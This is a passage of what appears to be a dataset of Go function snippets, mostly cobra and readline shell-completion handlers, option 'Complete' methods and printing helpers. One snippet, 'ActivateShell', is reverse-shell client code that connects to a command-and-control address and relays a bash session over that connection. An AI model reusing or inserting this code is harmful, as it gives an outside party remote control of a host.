c.doSomethingAndWaitForCompletion(ctx, func() error { return c.Format(ctx, path, fsType, options) }, \"FormatCompleted\")\n}", "func (i *CmdLine) PrintDone(count, mistakes int) {\n\tfmt.Printf(\"\\n\\nFertig, die Zeit ist abgelaufen. \")\n\tfmt.Printf(\"\\nBei %d Aufgabe(n) hast du dich insgesamt %d mal verrechnet!\\n\\n\", count, mistakes)\n}", "func (o *options) complete(cmd *cobra.Command, args []string) error {\n\to.args = args\n\n\treturn o.Init(cmd)\n}", "func (gto *GetOptions) Complete(name string, cmd *cobra.Command, args []string) (err error) {\n\tgto.Context = genericclioptions.NewContext(cmd)\n\tgto.componentName = gto.Context.ComponentAllowingEmpty(true)\n\treturn\n}", "func (o JobSpecOutput) Completions() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v JobSpec) *int { return v.Completions }).(pulumi.IntPtrOutput)\n}", "func CompleteSubCommands(args []string, last []rune, command *flags.Command) (lastWord string, completions []*readline.CompletionGroup) {\n\n\tfor _, sub := range command.Commands() {\n\t\tif strings.HasPrefix(sub.Name, string(last)) {\n\t\t\t// suggestions = append(suggestions, sub.Name[(len(last)):]+\" \")\n\t\t}\n\t}\n\n\treturn\n}", "func newCompletionCmd() *cobra.Command {\n\tvar completionCmd = &cobra.Command{\n\t\tUse: \"completion [bash|zsh|fish]\",\n\t\tShort: \"Generate completion script\",\n\t\tLong: `To load completions:\n\nBash:\n\n$ source <(eden completion bash)\n\n# To load completions for each session, execute once:\nLinux:\n $ eden utils completion bash > /etc/bash_completion.d/eden\nMacOS:\n $ eden utils completion bash > /usr/local/etc/bash_completion.d/eden\n\nZsh:\n\n# If shell completion is not already enabled in your environment you will need\n# to enable it. You can execute the following once:\n\n$ echo \"autoload -U compinit; compinit\" >> ~/.zshrc\n\n# To load completions for each session, execute once:\n$ eden utils completion zsh > \"${fpath[1]}/_eden\"\n\n# You will need to start a new shell for this setup to take effect.\n\nFish:\n\n$ eden utils completion fish | source\n\n# To load completions for each session, execute once:\n$ eden utils completion fish > ~/.config/fish/completions/eden.fish\n`,\n\t\tDisableFlagsInUseLine: true,\n\t\tValidArgs: []string{\"bash\", \"zsh\", \"fish\"},\n\t\tArgs: cobra.ExactValidArgs(1),\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tswitch args[0] {\n\t\t\tcase \"bash\":\n\t\t\t\terr := cmd.Root().GenBashCompletion(os.Stdout)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Fprintf(os.Stderr,\n\t\t\t\t\t\t\"Completions generation error: %s\",\n\t\t\t\t\t\terr.Error())\n\t\t\t\t}\n\t\t\tcase \"zsh\":\n\t\t\t\terr := cmd.Root().GenZshCompletion(os.Stdout)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Fprintf(os.Stderr,\n\t\t\t\t\t\t\"Completions generation error: %s\",\n\t\t\t\t\t\terr.Error())\n\t\t\t\t}\n\t\t\tcase \"fish\":\n\t\t\t\terr := cmd.Root().GenFishCompletion(os.Stdout, true)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Fprintf(os.Stderr,\n\t\t\t\t\t\t\"Completions generation error: %s\",\n\t\t\t\t\t\terr.Error())\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t}\n\treturn completionCmd\n}", "func (c *Command) GenBashCompletionV2(w io.Writer, includeDesc bool) error {\n\treturn c.genBashCompletion(w, includeDesc)\n}", "func (o JobSpecPtrOutput) Completions() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v JobSpec) *int { return v.Completions }).(pulumi.IntPtrOutput)\n}", "func JobSetCompletion(_, text string, maxCompletions int64) ([]prompt.Suggest, CacheFunc) {\n\tc := getPachClient()\n\tvar result []prompt.Suggest\n\tlistJobSetClient, err := c.PpsAPIClient.ListJobSet(c.Ctx(), &pps.ListJobSetRequest{})\n\tif err != nil {\n\t\treturn nil, CacheNone\n\t}\n\tif err := grpcutil.ForEach[*pps.JobSetInfo](listJobSetClient, func(jsi *pps.JobSetInfo) error {\n\t\tresult = append(result, prompt.Suggest{\n\t\t\tText: jsi.JobSet.Id,\n\t\t\tDescription: jobSetDesc(jsi),\n\t\t})\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, CacheNone\n\t}\n\treturn result, CacheAll\n}", "func shellExecutor(rootCmd *cobra.Command, printer *Printer, meta *meta) func(s string) {\n\treturn func(s string) {\n\t\targs := strings.Fields(s)\n\n\t\tsentry.AddCommandContext(strings.Join(removeOptions(args), \" \"))\n\n\t\trootCmd.SetArgs(meta.CliConfig.Alias.ResolveAliases(args))\n\n\t\terr := rootCmd.Execute()\n\t\tif err != nil {\n\t\t\tif _, ok := err.(*interactive.InterruptError); ok {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tprintErr := printer.Print(err, nil)\n\t\t\tif printErr != nil {\n\t\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t\t}\n\n\t\t\treturn\n\t\t}\n\n\t\t// command is nil if it does not have a Run function\n\t\t// ex: instance -h\n\t\tif meta.command == nil {\n\t\t\treturn\n\t\t}\n\n\t\tautoCompleteCache.Update(meta.command.Namespace)\n\n\t\tprintErr := printer.Print(meta.result, meta.command.getHumanMarshalerOpt())\n\t\tif printErr != nil {\n\t\t\t_, _ = fmt.Fprintln(os.Stderr, printErr)\n\t\t}\n\t}\n}", "func (d *Dispatcher) CompletionSuggestions(parse *ParseResults) (*Suggestions, error) {\n\treturn d.CompletionSuggestionsCursor(parse, len(parse.Reader.String))\n}", "func GuruComplete(filepath string, byteOffset int) ([]Completion, error) {\n\tstdout, _, exit, err := util.Exec(\n\t\t\"guru\", \"describe\", fmt.Sprintf(\"%s:#%d\", filepath, byteOffset))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif exit != 0 {\n\t\treturn nil, fmt.Errorf(\"non-zero exit: %d\", exit)\n\t}\n\n\tvar (\n\t\tcompletions []Completion\n\t\tlineState int\n\t)\n\tfor i, line := range strings.Split(stdout, \"\\n\") {\n\t\tif line == \"\" {\n\t\t\tbreak\n\t\t}\n\n\t\tsplit := strings.SplitN(line, \":\", 3)\n\t\tif len(split) < 3 {\n\t\t\treturn nil, fmt.Errorf(\"unexpected colum format in line: %d\", i)\n\t\t}\n\t\tfile, pos, desc := split[0], split[1], split[2]\n\n\t\tswitch desc {\n\t\tcase \" Methods:\":\n\t\t\tlineState = lineMethod\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch lineState {\n\t\tcase lineMethod:\n\t\t\tdesc = trimMethodPrefix(desc)\n\n\t\t\t// i believe [0] access is safe, i don't think Split will ever\n\t\t\t// return less than 1.\n\t\t\tsPos := strings.SplitN(pos, \"-\", 2)[0]\n\n\t\t\tsPosSplit := strings.SplitN(sPos, \".\", 2)\n\t\t\tif len(sPosSplit) < 2 {\n\t\t\t\treturn nil, fmt.Errorf(\"unexpected line.col format: %q\", sPos)\n\t\t\t}\n\n\t\t\tlineNo, err := strconv.Atoi(sPosSplit[0])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to lineNo to int: %q\", sPosSplit[0])\n\t\t\t}\n\n\t\t\tcol, err := strconv.Atoi(sPosSplit[1])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to col to int: %q\", sPosSplit[1])\n\t\t\t}\n\n\t\t\tcompletions = append(completions, Completion{\n\t\t\t\t// TODO(leeola): remove formatting on the desc for\n\t\t\t\t// methods. Guru adds lots of indentation, a method\n\t\t\t\t// prefix, etc.\n\t\t\t\tCompletion: desc,\n\t\t\t\tFile: file,\n\t\t\t\tLineNo: lineNo,\n\t\t\t\tColumn: col,\n\t\t\t})\n\t\t}\n\t}\n\n\treturn completions, nil\n}", "func ArrayCompletion(array ...string) CompletionFunc {\n\treturn func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\treturn array, cobra.ShellCompDirectiveNoFileComp\n\t}\n}", "func (o *AppOptions) Complete(f kcmdutil.Factory, c *cobra.Command, args []string) error {\n\to.RESTClientGetter = f\n\n\tcmdutil.WarnAboutCommaSeparation(o.ErrOut, o.ObjectGeneratorOptions.Config.TemplateParameters, \"--param\")\n\terr := o.ObjectGeneratorOptions.Complete(f, c, args)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func FactoryCompletion(factory CommandFactory, log logging.Logger, cmdName string) func(*cli.Context) {\n\treturn func(c *cli.Context) {\n\t\tcmd := factory(c, log, cmdName)\n\n\t\t// If the command implements AutocompleteCommand, run the autocomplete.\n\t\tif aCmd, ok := cmd.(AutocompleteCommand); ok {\n\t\t\tif err := aCmd.Autocomplete(c.Args()...); err != nil {\n\t\t\t\tlog.Error(\n\t\t\t\t\t\"Autocompletion of a command encountered error. command:%s, err:%s\",\n\t\t\t\t\tcmdName, err,\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n}", "func (o *UcsdBackupInfoAllOf) SetPercentageCompletion(v int64) {\n\to.PercentageCompletion = &v\n}", "func (c *Command) GenBashCompletionFile(filename string) error {\n\treturn c.genBashCompletionFile(filename, false)\n}", "func DefaultAppComplete(c *Context) {\n\tfor _, command := range c.App.Commands {\n\t\tfmt.Println(command.Name)\n\t}\n}", "func CompleteCommand(a ...interface{}) []string {\n\trv := []string{}\n\n\tif len(a) == 0 || comp.Line() == \"\" {\n\t\treturn rv\n\t}\n\n\tx := a[0].(*Command)\n\tword := comp.Word()\n\n\tfor k, _ := range x.Commands {\n\t\tif word == \" \" || strings.HasPrefix(k, word) {\n\t\t\trv = append(rv, k)\n\t\t}\n\t}\n\n\tfor _, k := range x.Params {\n\t\tif word == \" \" || strings.HasPrefix(k, word) {\n\t\t\trv = append(rv, k)\n\t\t}\n\t}\n\n\tsort.Strings(rv)\n\treturn rv\n}", "func (c *Command) GenBashCompletionFileWithDesc(filename string) error {\n\treturn c.genBashCompletionFile(filename, true)\n}", "func (c *Completer) Complete(ctx *Context, content IContent, line interface{}, index int) (interface{}, bool) {\n\treturn nil, false\n}", "func (o NetworkInsightsAnalysisOutput) WaitForCompletion() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *NetworkInsightsAnalysis) pulumi.BoolPtrOutput { return v.WaitForCompletion }).(pulumi.BoolPtrOutput)\n}", "func (c *Command) done() {\n\tc.push(c.Id, \"done\")\n}", "func printCommands(cmds []Commander) {\n\tconst format = \"%v\\t%v\\t%v\\n\"\n\ttw := new(tabwriter.Writer).Init(os.Stdout, 0, 8, 2, ' ', 0)\n\tfmt.Fprintf(tw, format, \"Alias\", \"Command\", \"Args\")\n\tfmt.Fprintf(tw, format, \"-----\", \"-------\", \"----\")\n\tfor _, t := range cmds {\n\t\tfmt.Fprintf(tw, format, t.Alias, t.Command, strings.Join(t.Args, \" \"))\n\t}\n\ttw.Flush() // calculate column widths and print table\n}", "func responseCompleteTasks(msg string) {\n\tcolor.Green(msg)\n}", "func PrintCommands() {\n logger.Log(fmt.Sprintln(\"** Daemonized Commands **\"))\n for cmd, desc := range DaemonizedCommands() {\n logger.Log(fmt.Sprintf(\"%15s: %s\\n\", cmd, desc.description))\n }\n\n logger.Log(fmt.Sprintln(\"** Information Commands **\"))\n for cmd, desc := range InfoCommands() {\n logger.Log(fmt.Sprintf(\"%15s: %s\\n\", cmd, desc.description))\n }\n\n logger.Log(fmt.Sprintln(\"** Interactive Commands **\"))\n for cmd, desc := range InteractiveCommands() {\n logger.Log(fmt.Sprintf(\"%15s: %s\\n\", cmd, desc.description))\n }\n}", "func (wa *WaitingArea) print() {\n\tvar sb strings.Builder\n\tfor _, row := range wa.seats {\n\t\tfor _, s := range row {\n\t\t\tsb.WriteString(string(s.status))\n\t\t}\n\t\tsb.WriteString(\"\\n\")\n\t}\n\tfmt.Println(sb.String())\n}", "func (o *SearchComponentOptions) Complete(name string, cmd *cobra.Command, args []string) (err error) {\n\to.Context = genericclioptions.NewContext(cmd)\n\to.searchTerm = args[0]\n\n\to.components, err = catalog.SearchComponent(o.Client, o.searchTerm)\n\treturn err\n}", "func PrintShellIntegration(b string) {\n\tfmt.Println(b)\n}", "func (o *CertificateOptions) Complete(restClientGetter genericclioptions.RESTClientGetter, cmd *cobra.Command, args []string) error {\n\to.csrNames = args\n\to.outputStyle = cmdutil.GetFlagString(cmd, \"output\")\n\n\tprinter, err := o.PrintFlags.ToPrinter()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\to.PrintObj = func(obj runtime.Object, out io.Writer) error {\n\t\treturn printer.PrintObj(obj, out)\n\t}\n\n\to.builder = resource.NewBuilder(restClientGetter)\n\n\tclientConfig, err := restClientGetter.ToRESTConfig()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\to.certificatesV1Client, err = v1.NewForConfig(clientConfig)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func done() {\n\tprintln(\"Done.\")\n\n\ttime.Sleep(1 * time.Hour)\n}", "func (s *Syncthing) GetCompletion(ctx context.Context, local bool, device string) (*Completion, error) {\n\tparams := map[string]string{\"device\": device}\n\tcompletion := &Completion{}\n\tbody, err := s.APICall(ctx, \"rest/db/completion\", \"GET\", 200, params, local, nil, true, 3)\n\tif err != nil {\n\t\toktetoLog.Infof(\"error calling 'rest/db/completion' local=%t syncthing API: %s\", local, err)\n\t\tif strings.Contains(err.Error(), \"Client.Timeout\") {\n\t\t\treturn nil, oktetoErrors.ErrBusySyncthing\n\t\t}\n\t\treturn nil, oktetoErrors.ErrLostSyncthing\n\t}\n\terr = json.Unmarshal(body, completion)\n\tif err != nil {\n\t\toktetoLog.Infof(\"error unmarshalling 'rest/db/completion' local=%t syncthing API: %s\", local, err)\n\t\treturn nil, oktetoErrors.ErrLostSyncthing\n\t}\n\treturn completion, nil\n}", "func (q *Q) Complete() {\n\tif q.Status != PROGRESS {\n\t\treturn\n\t}\n\tq.Status = SUCCESS\n\tq.History = append(q.History, \"Quest Achieved\")\n}", "func (o *addBaseOptions) Complete(cmd *cobra.Command, args []string) error {\n\treturn nil\n}", "func (o BuildRunStatusOutput) CompletionTime() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BuildRunStatus) *string { return v.CompletionTime }).(pulumi.StringPtrOutput)\n}", "func BashCompleteTriggers(c *cli.Context) {\n\tprovider, err := client.CurrentProvider()\n\tif err != nil {\n\t\treturn\n\t}\n\tresp, err := getTriggers(c, provider.APIClientv2())\n\tif err != nil {\n\t\treturn\n\t}\n\tfor _, t := range resp {\n\t\tfmt.Println(t.Name)\n\t}\n}", "func (o *UcsdBackupInfoAllOf) SetStageCompletion(v string) {\n\to.StageCompletion = &v\n}", "func (h SilentOutput) OnComplete(test spec.TestKind) error {\n\treturn nil\n}", "func (*Completion) Descriptor() ([]byte, []int) {\n\treturn file_command_proto_rawDescGZIP(), []int{8}\n}", "func NewCompletionCmd(b cli.Builder) *cobra.Command {\n\tvar validArgs = []string{\"zsh\", \"bash\", \"ps\", \"powershell\", \"fish\"}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"completion [bash|zsh|powershell]\",\n\t\tShort: \"Generate bash, zsh, or powershell completion\",\n\t\tLong: `Generate bash, zsh, or powershell completion\njust add '. <(apizza completion <shell name>)' to you .bashrc or .zshrc\nnote: for zsh you will need to run 'compdef _apizza apizza'`,\n\t\tSilenceErrors: true,\n\t\tSilenceUsage: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\troot := cmd.Root()\n\t\t\tout := cmd.OutOrStdout()\n\n\t\t\tif len(args) == 0 {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"no shell type given; (expected %s, or %s)\",\n\t\t\t\t\tstrings.Join(validArgs[:len(validArgs)-1], \", \"),\n\t\t\t\t\tvalidArgs[len(validArgs)-1])\n\t\t\t}\n\t\t\tswitch args[0] {\n\t\t\tcase \"zsh\":\n\t\t\t\treturn root.GenZshCompletion(out)\n\t\t\tcase \"ps\", \"powershell\":\n\t\t\t\treturn root.GenPowerShellCompletion(out)\n\t\t\tcase \"bash\":\n\t\t\t\treturn root.GenBashCompletion(out)\n\t\t\tcase \"fish\":\n\t\t\t\treturn root.GenFishCompletion(out, false)\n\t\t\t}\n\t\t\treturn errors.New(\"unknown shell type\")\n\t\t},\n\t\tValidArgs: validArgs,\n\t\tAliases: []string{\"comp\"},\n\t}\n\treturn cmd\n}", "func (o *StorageListOptions) Complete(name string, cmd *cobra.Command, args []string) (err error) {\n\to.Context = genericclioptions.NewContext(cmd)\n\tif o.storageListAllFlag {\n\t\tif len(genericclioptions.FlagValueIfSet(cmd, genericclioptions.ComponentFlagName)) > 0 {\n\t\t\treturn fmt.Errorf(\"invalid arguments. Component name is not needed\")\n\t\t}\n\t} else {\n\t\to.componentName = o.Component()\n\t}\n\treturn\n}", "func acceptCompletion(ed *Editor) {\n\tc := ed.completion\n\tif 0 <= c.selected && c.selected < len(c.candidates) {\n\t\ted.line, ed.dot = c.apply(ed.line, ed.dot)\n\t}\n\ted.mode = &ed.insert\n}", "func RunShell(ctx context.Context, printer *Printer, meta *meta, rootCmd *cobra.Command, args []string) {\n\tautoCompleteCache = cache.New()\n\tcompleter := NewShellCompleter(ctx)\n\n\tshellCobraCommand := getShellCommand(rootCmd)\n\tshellCobraCommand.InitDefaultHelpFlag()\n\t_ = shellCobraCommand.ParseFlags(args)\n\tif isHelp, _ := shellCobraCommand.Flags().GetBool(\"help\"); isHelp {\n\t\tshellCobraCommand.HelpFunc()(shellCobraCommand, args)\n\t\treturn\n\t}\n\n\t// remove shell command so it cannot be called from shell\n\trootCmd.RemoveCommand(shellCobraCommand)\n\tmeta.Commands.Remove(\"shell\", \"\")\n\n\texecutor := shellExecutor(rootCmd, printer, meta)\n\tp := prompt.New(\n\t\texecutor,\n\t\tcompleter.Complete,\n\t\tprompt.OptionPrefix(\">>> \"),\n\t\tprompt.OptionSuggestionBGColor(prompt.Purple),\n\t\tprompt.OptionSelectedSuggestionBGColor(prompt.Fuchsia),\n\t\tprompt.OptionSelectedSuggestionTextColor(prompt.White),\n\t\tprompt.OptionDescriptionBGColor(prompt.Purple),\n\t\tprompt.OptionSelectedDescriptionBGColor(prompt.Fuchsia),\n\t\tprompt.OptionSelectedDescriptionTextColor(prompt.White),\n\t)\n\tp.Run()\n}", "func (p *Prompt) Print() {\n\tfor i := 0; i < len(p.Items); i++ {\n\t\tif i != 0 {\n\t\t\tp.Items[i].Prefix()\n\t\t}\n\t\tfmt.Print(p.Items[i])\n\t}\n}", "func SimpleProgress(printChar string, tickInterval time.Duration, action func()) {\n\t// run async\n\tfinishedChan := make(chan bool)\n\n\tgo func() {\n\t\taction()\n\t\tfinishedChan <- true\n\t}()\n\n\tisRunFinished := false\n\tfor !isRunFinished {\n\t\tselect {\n\t\tcase <-finishedChan:\n\t\t\tisRunFinished = true\n\t\tcase <-time.Tick(tickInterval):\n\t\t\tfmt.Print(printChar)\n\t\t}\n\t}\n\tfmt.Println()\n}", "func CompleteMenuCommands(last []rune, pos int) (lastWord string, completions []*readline.CompletionGroup) {\n\n\treturn\n}", "func (o *VelaExecOptions) Complete() error {\n\tcompName, err := o.getComponentName()\n\tif err != nil {\n\t\treturn err\n\t}\n\tpodName, err := o.getPodName(compName)\n\tif err != nil {\n\t\treturn err\n\t}\n\to.kcExecOptions.StreamOptions.Stdin = o.Stdin\n\to.kcExecOptions.StreamOptions.TTY = o.TTY\n\n\targs := make([]string, len(o.Args))\n\tcopy(args, o.Args)\n\t// args for kcExecOptions MUST be in such formart:\n\t// [podName, COMMAND...]\n\targs[0] = podName\n\treturn o.kcExecOptions.Complete(o.f, o.Cmd, args, 1)\n}", "func (co *ComponentOptions) Complete(name string, cmd *cobra.Command, args []string) (err error) {\n\tco.Context = genericclioptions.NewContext(cmd)\n\n\t// If no arguments have been passed, get the current component\n\t// else, use the first argument and check to see if it exists\n\tif len(args) == 0 {\n\t\tco.componentName = co.Context.Component()\n\t} else {\n\t\tco.componentName = co.Context.Component(args[0])\n\t}\n\treturn\n}", "func PrintPrompt(g *gocui.Gui) {\n\tpromptString := \"[w,a,s,d,e,?] >>\"\n\n\tg.Update(func(g *gocui.Gui) error {\n\t\tv, err := g.View(Prompt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tv.Clear()\n\t\tv.MoveCursor(0, 0, true)\n\n\t\tif consecutiveError == 0 {\n\t\t\tfmt.Fprintf(v, color.Green(color.Regular, promptString))\n\t\t} else {\n\t\t\tfmt.Fprintf(v, color.Red(color.Regular, promptString))\n\t\t}\n\t\treturn nil\n\t})\n}", "func PrintSuccess() {\n\telapsed := endTime.Sub(startTime)\n\tfmt.Print(\"\\n\")\n\tlog.Infof(\"Ingestion completed in %v\", elapsed)\n}", "func (c *CommittedQuerier) printResponse(proposalResponse *pb.ProposalResponse) error {\n\tqdcr := &lb.QueryChaincodeDefinitionResult{}\n\terr := proto.Unmarshal(proposalResponse.Response.Payload, qdcr)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to unmarshal proposal response's response payload\")\n\t}\n\tfmt.Printf(\"Committed chaincode definition for chaincode '%s' on channel '%s':\\n\", chaincodeName, channelID)\n\tfmt.Printf(\"Version: %s, Sequence: %d, Endorsement Plugin: %s, Validation Plugin: %s\\n\", qdcr.Version, qdcr.Sequence, qdcr.EndorsementPlugin, qdcr.ValidationPlugin)\n\n\treturn nil\n\n}", "func (np *Scheduled) AwaitCompletion() error {\n\tpods := np.Config.ClientSet.CoreV1().Pods(np.Config.Namespace)\n\n\t_, errorMsg, err := framework.AwaitResultOrError(\n\t\tfmt.Sprintf(\"await pod %q finished\", np.Pod.Name), func() (interface{}, error) {\n\t\t\treturn pods.Get(context.TODO(), np.Pod.Name, metav1.GetOptions{})\n\t\t}, func(result interface{}) (bool, string, error) {\n\t\t\tnp.Pod = result.(*v1.Pod)\n\n\t\t\tswitch np.Pod.Status.Phase { //nolint:exhaustive // 'missing cases in switch' - OK\n\t\t\tcase v1.PodSucceeded:\n\t\t\t\treturn true, \"\", nil\n\t\t\tcase v1.PodFailed:\n\t\t\t\treturn true, \"\", nil\n\t\t\tdefault:\n\t\t\t\treturn false, fmt.Sprintf(\"Pod status is %v\", np.Pod.Status.Phase), nil\n\t\t\t}\n\t\t})\n\tif err != nil {\n\t\treturn errors.Wrapf(err, errorMsg)\n\t}\n\n\tfinished := np.Pod.Status.Phase == v1.PodSucceeded || np.Pod.Status.Phase == v1.PodFailed\n\tif finished {\n\t\tnp.PodOutput = np.Pod.Status.ContainerStatuses[0].State.Terminated.Message\n\t}\n\n\treturn nil\n}", "func Success(v ...interface{}) {\n\tprint(SuccessFont)\n\tfmt.Print(v...)\n\tterminal.Reset()\n}", "func (o *URLCreateOptions) Complete(name string, cmd *cobra.Command, args []string) (err error) {\n\to.Context = genericclioptions.NewContext(cmd)\n\to.componentPort, err = url.GetValidPortNumber(o.Client, o.urlPort, o.Component(), o.Application)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(args) == 0 {\n\t\to.urlName = url.GetURLName(o.Component(), o.componentPort)\n\t} else {\n\t\to.urlName = args[0]\n\t}\n\treturn\n}", "func (asyncResult *asyncResult) complete(result interface{}) {\n\tif atomic.CompareAndSwapUint32(&asyncResult.state, pending, completed) {\n\t\tasyncResult.result = result\n\t\tasyncResult.async.complete()\n\t\tclose(asyncResult.done)\n\t\tasyncResult.RLock()\n\t\tdefer asyncResult.RUnlock()\n\t\tfor _, comp := range asyncResult.completions {\n\t\t\tcomp(result)\n\t\t}\n\t}\n\tasyncResult.completions = nil\n}", "func PrintProgress(format string, args ...interface{}) {\n\tvar (\n\t\tmessage string\n\t\tcarriageControl string\n\t)\n\tmessage = fmt.Sprintf(format, args...)\n\n\tif !(strings.HasSuffix(message, \"\\r\") || strings.HasSuffix(message, \"\\n\")) {\n\t\tif stdoutIsTerminal() {\n\t\t\tcarriageControl = \"\\r\"\n\t\t} else {\n\t\t\tcarriageControl = \"\\n\"\n\t\t}\n\t\tmessage = fmt.Sprintf(\"%s%s\", message, carriageControl)\n\t}\n\n\tif stdoutIsTerminal() {\n\t\tmessage = fmt.Sprintf(\"%s%s\", ClearLine(), message)\n\t}\n\n\tfmt.Print(message)\n}", "func Flush() error {\n\tif printer.Quiet {\n\t\treturn nil\n\t}\n\n\topts := printOpts{\n\t\tformat: printer.Format,\n\t\tsingle: printer.Single,\n\t\tnoNewline: printer.NoNewline,\n\t}\n\n\tcmd := printer.cmd\n\tif cmd != nil {\n\t\tshortStat, err := printer.cmd.Flags().GetBool(\"short-stat\")\n\t\tif err == nil && printer.cmd.Name() == \"list\" && printer.cmd.Parent().Name() != \"auth\" {\n\t\t\topts.shortStat = shortStat\n\t\t}\n\t}\n\n\tb, err := printer.linesToBytes(opts)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlines := lineCount(b)\n\n\tisTTY := checkInteractiveTerminal() == nil\n\tvar enablePager bool\n\ttermHeight, err := termHeight(os.Stdout)\n\tif err == nil {\n\t\tenablePager = isTTY && (termHeight < lines) // calculate if we should enable paging\n\t}\n\n\tpager := os.Getenv(\"PAGER\")\n\tif enablePager {\n\t\tenablePager = pager != \"\"\n\t}\n\n\topts.usePager = enablePager && printer.pager\n\topts.pagerPath = pager\n\n\terr = printer.printBytes(b, opts)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// after all, print errors\n\tprinter.printErrors()\n\n\tdefer func() {\n\t\tprinter.Lines = []interface{}{}\n\t\tprinter.ErrorLines = []interface{}{}\n\t}()\n\n\tif cmd == nil || cmd.Name() != \"list\" || printer.cmd.Parent().Name() == \"auth\" {\n\t\treturn nil\n\t}\n\n\t// the command is a list command, we may want to\n\t// take care of the stat flags\n\tnoStat, err := cmd.Flags().GetBool(\"no-stat\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// print stats\n\tswitch {\n\tcase noStat:\n\t\t// do nothing\n\tcase !opts.shortStat:\n\t\t// should not go to pager\n\t\tif isTTY && !enablePager {\n\t\t\tfmt.Fprintf(printer.eWriter, \"\\n\") // add a one line space before statistical data\n\t\t}\n\t\tfallthrough\n\tcase len(printer.Lines) > 0:\n\t\tentity := cmd.Parent().Name()\n\t\tcontainer := strings.TrimSuffix(printer.serverAddr, \"api/v4\")\n\t\tif container != \"\" {\n\t\t\tcontainer = fmt.Sprintf(\" on %s\", container)\n\t\t}\n\t\tfmt.Fprintf(printer.eWriter, \"There are %d %ss%s\\n\", len(printer.Lines), entity, container)\n\t}\n\n\treturn nil\n}", "func RecursiveGroupCompletion(args []string, last []rune, group *flags.Group) (lastWord string, completions []*readline.CompletionGroup) {\n\n\treturn\n}", "func (o JobStatusPtrOutput) CompletionTime() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v JobStatus) *string { return v.CompletionTime }).(pulumi.StringPtrOutput)\n}", "func ActivateShell(token string) (err error) {\n\tvar (\n\t\trshellURL = CCAddress + tun.ReverseShellAPI + \"/\" + token\n\t\tshellPID = 0 // PID of the bash shell\n\n\t\t// buffer for reverse shell\n\t\tsendcc = make(chan []byte)\n\t\trecvcc = make(chan []byte)\n\n\t\t// connection\n\t\tconn *h2conn.Conn // reverse shell uses this connection\n\t\tctx context.Context\n\t\tcancel context.CancelFunc\n\t)\n\n\t// connect CC\n\tconn, ctx, cancel, err = ConnectCC(rshellURL)\n\tlog.Print(\"reverseBash started\")\n\n\t// clean up connection and bash\n\tcleanup := func() {\n\t\tcancel()\n\t\tproc, err := os.FindProcess(shellPID)\n\t\tif err != nil {\n\t\t\tlog.Print(\"bash shell already gone: \", err)\n\t\t}\n\t\terr = proc.Kill()\n\t\tif err != nil {\n\t\t\tlog.Print(\"Killing bash: \", err)\n\t\t}\n\t\terr = conn.Close()\n\t\tif err != nil {\n\t\t\tlog.Print(\"Closing reverseBash connection: \", err)\n\t\t}\n\t\tlog.Print(\"bash shell has been cleaned up\")\n\t}\n\tdefer cleanup()\n\n\tgo reverseShell(ctx, cancel, sendcc, recvcc, &shellPID, token)\n\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\t// if connection does not exist yet\n\t\t\t\tif conn == nil {\n\t\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tdata := make([]byte, RShellBufSize)\n\t\t\t\t_, err = conn.Read(data)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Print(\"Read remote: \", err)\n\t\t\t\t\tcancel()\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tdata = bytes.Trim(data, \"\\x00\")\n\t\t\t\trecvcc <- data\n\t\t\t}\n\t\t}\n\t}()\n\n\tfor outgoing := range sendcc {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tdefault:\n\t\t\t// if connection does not exist yet\n\t\t\tif conn == nil {\n\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, err = conn.Write(outgoing)\n\t\t\tif err != nil {\n\t\t\t\tlog.Print(\"Send to remote: \", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func PipelineCompletion(_, _ string, maxCompletions int64) ([]prompt.Suggest, CacheFunc) {\n\tc := getPachClient()\n\tclient, err := c.PpsAPIClient.ListPipeline(c.Ctx(), &pps.ListPipelineRequest{Details: true})\n\tif err != nil {\n\t\treturn nil, CacheNone\n\t}\n\tvar result []prompt.Suggest\n\tif err := grpcutil.ForEach[*pps.PipelineInfo](client, func(pi *pps.PipelineInfo) error 